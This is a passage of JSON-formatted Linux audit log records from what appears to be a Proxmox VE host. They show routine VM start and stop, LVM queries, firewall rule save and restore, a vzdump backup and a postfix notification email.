a66=\"-device\" a67=\"scsi-hd,bus=virtioscsi0.0,channel=0,scsi-id=0,lun=0,drive=drive-scsi0,id=scsi0,device_id=drive-scsi0,bootindex=100,write-cache=on\" a68=\"-netdev\" a69=\"type=tap,id=net0,ifname=tap877i0,script=/usr/libexec/qemu-server/pve-bridge,downscript=/usr/libexec/qemu-server/pve-bridgedown,vhost=on\" a70=\"-device\" a71=\"virtio-net-pci,mac=BC:24:11:17:BA:98,netdev=net0,bus=pci.0,addr=0x12,id=net0,rx_queue_size=1024,tx_queue_size=256,bootindex=102,host_mtu=1500\" a72=\"-machine\" a73=\"hpet=off,accel=tcg,type=pc+pve0\" a74=\"-S\""} {"@timestamp":1781964336019,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964336.019:60590): proctitle=\"ebtables-restore\""} {"@timestamp":1781965051842,"@rawstring":"node=pve type=EXECVE msg=audit(1781965051.842:63828): argc=3 a0=\"/bin/systemctl\" a1=\"stop\" a2=\"877.scope\""} {"@timestamp":1781964336015,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964336.015:60589): proctitle=\"ebtables-restore\""} {"@timestamp":1781965051830,"@rawstring":"node=pve type=EXECVE msg=audit(1781965051.830:63827): argc=3 a0=\"/bin/systemctl\" a1=\"reset-failed\" a2=\"877.scope\""} {"@timestamp":1781964336008,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964336.008:60588): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965051813,"@rawstring":"node=pve type=EXECVE msg=audit(1781965051.813:63826): argc=3 a0=\"/bin/systemctl\" a1=\"reset-failed\" a2=\"pve-dbus-vmstate@877.service\""} {"@timestamp":1781964336002,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964336.002:60587): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965051748,"@rawstring":"node=pve type=EXECVE msg=audit(1781965051.748:63825): argc=2 a0=\"/usr/bin/kvm\" a1=\"--version\""} {"@timestamp":1781964335996,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964335.996:60586): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965051710,"@rawstring":"node=pve type=EXECVE msg=audit(1781965051.710:63824): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964335989,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964335.989:60585): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965051682,"@rawstring":"node=pve type=EXECVE msg=audit(1781965051.682:63823): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964335982,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964335.982:60584): proctitle=697073657400726573746F7265"} {"@timestamp":1781965051648,"@rawstring":"node=pve type=EXECVE msg=audit(1781965051.648:63822): argc=11 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"lv_size\" a10=\"/dev/pve/vm-877-disk-0\""} {"@timestamp":1781964335975,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964335.975:60583): proctitle=\"ip6tables-save\""} {"@timestamp":1781965051620,"@rawstring":"node=pve type=EXECVE msg=audit(1781965051.620:63821): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964335969,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964335.969:60582): proctitle=\"iptables-save\""} {"@timestamp":1781965051620,"@rawstring":"node=pve type=EXECVE msg=audit(1781965051.620:63820): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964335963,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964335.963:60581): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965051614,"@rawstring":"node=pve type=EXECVE msg=audit(1781965051.614:63817): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964335959,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964335.959:60580): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965051584,"@rawstring":"node=pve type=EXECVE msg=audit(1781965051.584:63814): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964335957,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964335.957:60579): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965051563,"@rawstring":"node=pve type=EXECVE msg=audit(1781965051.563:63813): argc=6 a0=\"df\" a1=\"-P\" a2=\"-T\" a3=\"-B\" a4=\"1\" a5=\"/var/lib/vz/dump\""} {"@timestamp":1781964335957,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964335.957:60578): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965051555,"@rawstring":"node=pve type=EXECVE msg=audit(1781965051.555:63811): argc=5 a0=\"ionice\" a1=\"-c2\" a2=\"-n7\" a3=\"-p\" a4=\"61227\""} {"@timestamp":1781964335952,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964335.952:60577): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965046602,"@rawstring":"node=pve type=EXECVE msg=audit(1781965046.602:63809): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964335944,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964335.944:60576): proctitle=\"ip6tables-save\""} {"@timestamp":1781965046590,"@rawstring":"node=pve type=EXECVE msg=audit(1781965046.590:63806): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964335935,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964335.935:60575): proctitle=\"iptables-save\""} {"@timestamp":1781965045178,"@rawstring":"node=pve type=EXECVE msg=audit(1781965045.178:63803): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964335929,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964335.929:60574): proctitle=69707365740073617665"} {"@timestamp":1781965045175,"@rawstring":"node=pve type=EXECVE msg=audit(1781965045.175:63802): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964335922,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964335.922:60573): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965045174,"@rawstring":"node=pve type=EXECVE msg=audit(1781965045.174:63801): argc=1 a0=\"date\""} {"@timestamp":1781964335915,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964335.915:60572): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965045170,"@rawstring":"node=pve type=EXECVE msg=audit(1781965045.170:63799): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964334809,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964334.809:60571): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965045164,"@rawstring":"node=pve type=EXECVE msg=audit(1781965045.164:63798): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964334772,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964334.772:60570): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965045158,"@rawstring":"node=pve type=EXECVE msg=audit(1781965045.158:63797): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964333822,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964333.822:60569): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965045151,"@rawstring":"node=pve type=EXECVE msg=audit(1781965045.151:63796): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964333822,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964333.822:60568): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965045144,"@rawstring":"node=pve type=EXECVE msg=audit(1781965045.144:63795): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964333822,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964333.822:60567): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965045139,"@rawstring":"node=pve type=EXECVE msg=audit(1781965045.139:63793): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964333809,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964333.809:60566): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965045134,"@rawstring":"node=pve type=EXECVE msg=audit(1781965045.134:63792): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964333809,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964333.809:60565): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965045129,"@rawstring":"node=pve type=EXECVE msg=audit(1781965045.129:63791): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964333809,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964333.809:60564): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965045124,"@rawstring":"node=pve type=EXECVE msg=audit(1781965045.124:63790): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964328797,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964328.797:60563): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965045118,"@rawstring":"node=pve type=EXECVE msg=audit(1781965045.118:63789): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964328796,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964328.796:60562): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965045113,"@rawstring":"node=pve type=EXECVE msg=audit(1781965045.113:63788): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964328796,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964328.796:60561): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965045107,"@rawstring":"node=pve type=EXECVE msg=audit(1781965045.107:63787): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964328788,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964328.788:60560): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965045100,"@rawstring":"node=pve type=EXECVE msg=audit(1781965045.100:63786): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964328788,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964328.788:60559): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965045097,"@rawstring":"node=pve type=EXECVE msg=audit(1781965045.097:63785): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964328788,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964328.788:60558): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965045093,"@rawstring":"node=pve type=EXECVE msg=audit(1781965045.093:63784): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964325902,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964325.902:60557): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965045092,"@rawstring":"node=pve type=EXECVE msg=audit(1781965045.092:63783): argc=1 a0=\"date\""} {"@timestamp":1781964325898,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964325.898:60556): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965045087,"@rawstring":"node=pve type=EXECVE msg=audit(1781965045.087:63781): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964325897,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964325.897:60555): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965045081,"@rawstring":"node=pve type=EXECVE msg=audit(1781965045.081:63780): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964325897,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964325.897:60554): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965045074,"@rawstring":"node=pve type=EXECVE msg=audit(1781965045.074:63779): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964325892,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964325.892:60553): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965045069,"@rawstring":"node=pve type=EXECVE msg=audit(1781965045.069:63778): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964325883,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964325.883:60552): proctitle=\"ip6tables-save\""} {"@timestamp":1781965045063,"@rawstring":"node=pve type=EXECVE msg=audit(1781965045.063:63777): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964325874,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964325.874:60551): proctitle=\"iptables-save\""} {"@timestamp":1781965045056,"@rawstring":"node=pve type=EXECVE msg=audit(1781965045.056:63776): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964325866,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964325.866:60550): proctitle=\"ip6tables-save\""} {"@timestamp":1781965044568,"@rawstring":"node=pve type=EXECVE msg=audit(1781965044.568:63775): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964325858,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964325.858:60549): proctitle=\"iptables-save\""} {"@timestamp":1781965044533,"@rawstring":"node=pve type=EXECVE msg=audit(1781965044.533:63774): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964325852,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964325.852:60548): proctitle=\"ebtables-restore\""} {"@timestamp":1781965041581,"@rawstring":"node=pve type=EXECVE msg=audit(1781965041.581:63773): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964325849,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964325.849:60547): proctitle=\"ebtables-restore\""} {"@timestamp":1781965041571,"@rawstring":"node=pve type=EXECVE msg=audit(1781965041.571:63770): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964325841,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964325.841:60546): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965038803,"@rawstring":"node=pve type=EXECVE msg=audit(1781965038.803:63767): argc=2 a0=\"/usr/sbin/postdrop\" a1=\"-r\""} {"@timestamp":1781964325831,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964325.831:60545): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965038797,"@rawstring":"node=pve type=EXECVE msg=audit(1781965038.797:63766): argc=7 a0=\"/usr/sbin/sendmail\" a1=\"-N\" a2=\"never\" a3=\"-f\" a4=\"root\" a5=\"--\" a6=\"lucy@dragoncatsilly.net\""} {"@timestamp":1781964325825,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964325.825:60544): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965038776,"@rawstring":"node=pve type=EXECVE msg=audit(1781965038.776:63765): argc=1 a0=\"/usr/libexec/proxmox-mail-forward\""} {"@timestamp":1781964325819,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964325.819:60543): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965038767,"@rawstring":"node=pve type=EXECVE msg=audit(1781965038.767:63764): argc=3 a0=\"local\" a1=\"-t\" a2=\"unix\""} {"@timestamp":1781964325811,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964325.811:60542): proctitle=697073657400726573746F7265"} {"@timestamp":1781965038756,"@rawstring":"node=pve type=EXECVE msg=audit(1781965038.756:63763): argc=6 a0=\"bounce\" a1=\"-z\" a2=\"-t\" a3=\"unix\" a4=\"-u\" a5=\"-c\""} {"@timestamp":1781964325800,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964325.800:60541): proctitle=\"ip6tables-save\""} {"@timestamp":1781965038692,"@rawstring":"node=pve type=EXECVE msg=audit(1781965038.692:63762): argc=5 a0=\"smtp\" a1=\"-t\" a2=\"unix\" a3=\"-u\" a4=\"-c\""} {"@timestamp":1781964325793,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964325.793:60540): proctitle=\"iptables-save\""} {"@timestamp":1781965038680,"@rawstring":"node=pve type=EXECVE msg=audit(1781965038.680:63761): argc=7 a0=\"trivial-rewrite\" a1=\"-n\" a2=\"rewrite\" a3=\"-t\" a4=\"unix\" a5=\"-u\" a6=\"-c\""} {"@timestamp":1781964325787,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964325.787:60539): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965038670,"@rawstring":"node=pve type=EXECVE msg=audit(1781965038.670:63760): argc=6 a0=\"cleanup\" a1=\"-z\" a2=\"-t\" a3=\"unix\" a4=\"-u\" a5=\"-c\""} {"@timestamp":1781964325783,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964325.783:60538): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965038663,"@rawstring":"node=pve type=EXECVE msg=audit(1781965038.663:63759): argc=2 a0=\"/usr/sbin/postdrop\" a1=\"-r\""} {"@timestamp":1781964325780,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964325.780:60537): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965038657,"@rawstring":"node=pve type=EXECVE msg=audit(1781965038.657:63758): argc=7 a0=\"/usr/sbin/sendmail\" a1=\"-B\" a2=\"8BITMIME\" a3=\"-f\" a4=\"root\" a5=\"--\" a6=\"lucy@dragoncatsilly.net\""} {"@timestamp":1781964325780,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964325.780:60536): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965038644,"@rawstring":"node=pve type=EXECVE msg=audit(1781965038.644:63757): argc=3 a0=\"cp\" a1=\"/var/log/vzdump/qemu-877.log\" a2=\"/var/lib/vz/dump/vzdump-qemu-877-2026_06_20-15_17_18.log\""} {"@timestamp":1781964325762,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964325.762:60535): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965038516,"@rawstring":"node=pve type=EXECVE msg=audit(1781965038.516:63755): argc=2 a0=\"/usr/bin/kvm\" a1=\"--version\""} {"@timestamp":1781964325743,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964325.743:60534): proctitle=\"ip6tables-save\""} {"@timestamp":1781965038479,"@rawstring":"node=pve type=EXECVE msg=audit(1781965038.479:63754): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964325736,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964325.736:60533): proctitle=\"iptables-save\""} {"@timestamp":1781965038454,"@rawstring":"node=pve type=EXECVE msg=audit(1781965038.454:63753): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964325730,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964325.730:60532): proctitle=69707365740073617665"} {"@timestamp":1781965038413,"@rawstring":"node=pve type=EXECVE msg=audit(1781965038.413:63752): argc=11 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"lv_size\" a10=\"/dev/pve/vm-877-disk-0\""} {"@timestamp":1781964325722,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964325.722:60531): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965038397,"@rawstring":"node=pve type=EXECVE msg=audit(1781965038.397:63751): argc=3 a0=\"/usr/sbin/dmsetup\" a1=\"udevcomplete\" a2=\"6299757\""} {"@timestamp":1781964325715,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964325.715:60530): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965038393,"@rawstring":"node=pve type=EXECVE msg=audit(1781965038.393:63748): argc=4 a0=\"/bin/sh\" a1=\"/usr/lib/udev/vdev_id\" a2=\"-d\" a3=\"dm-6\""} {"@timestamp":1781964324677,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964324.677:60529): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965038387,"@rawstring":"node=pve type=EXECVE msg=audit(1781965038.387:63747): argc=6 a0=\"/usr/sbin/dmsetup\" a1=\"splitname\" a2=\"--nameprefixes\" a3=\"--noheadings\" a4=\"--rows\" a5=\"pve-vm--877--disk--0\""} {"@timestamp":1781964324647,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964324.647:60528): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965038384,"@rawstring":"node=pve type=EXECVE msg=audit(1781965038.384:63746): argc=3 a0=\"/usr/sbin/dmsetup\" a1=\"udevflags\" a2=\"6299757\""} {"@timestamp":1781964323780,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964323.780:60527): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965038381,"@rawstring":"node=pve type=EXECVE msg=audit(1781965038.381:63743): argc=2 a0=\"/usr/libexec/nfsrahead\" a1=\"252:6\""} {"@timestamp":1781964323780,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964323.780:60526): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965038381,"@rawstring":"node=pve type=EXECVE msg=audit(1781965038.381:63742): argc=4 a0=\"/bin/sh\" a1=\"/usr/lib/udev/vdev_id\" a2=\"-d\" a3=\"dm-6\""} {"@timestamp":1781964323780,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964323.780:60525): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965038357,"@rawstring":"node=pve type=EXECVE msg=audit(1781965038.357:63741): argc=4 a0=\"lvchange\" a1=\"-ay\" a2=\"-K\" a3=\"pve/vm-877-disk-0\""} {"@timestamp":1781964323772,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964323.772:60524): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965038315,"@rawstring":"node=pve type=EXECVE msg=audit(1781965038.315:63740): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964323772,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964323.772:60523): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965038274,"@rawstring":"node=pve type=EXECVE msg=audit(1781965038.274:63739): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964323772,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964323.772:60522): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965038236,"@rawstring":"node=pve type=EXECVE msg=audit(1781965038.236:63738): argc=6 a0=\"df\" a1=\"-P\" a2=\"-T\" a3=\"-B\" a4=\"1\" a5=\"/var/lib/vz/dump\""} {"@timestamp":1781964318761,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964318.761:60521): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965038226,"@rawstring":"node=pve type=EXECVE msg=audit(1781965038.226:63736): argc=5 a0=\"ionice\" a1=\"-c2\" a2=\"-n7\" a3=\"-p\" a4=\"61149\""} {"@timestamp":1781964318761,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964318.761:60520): 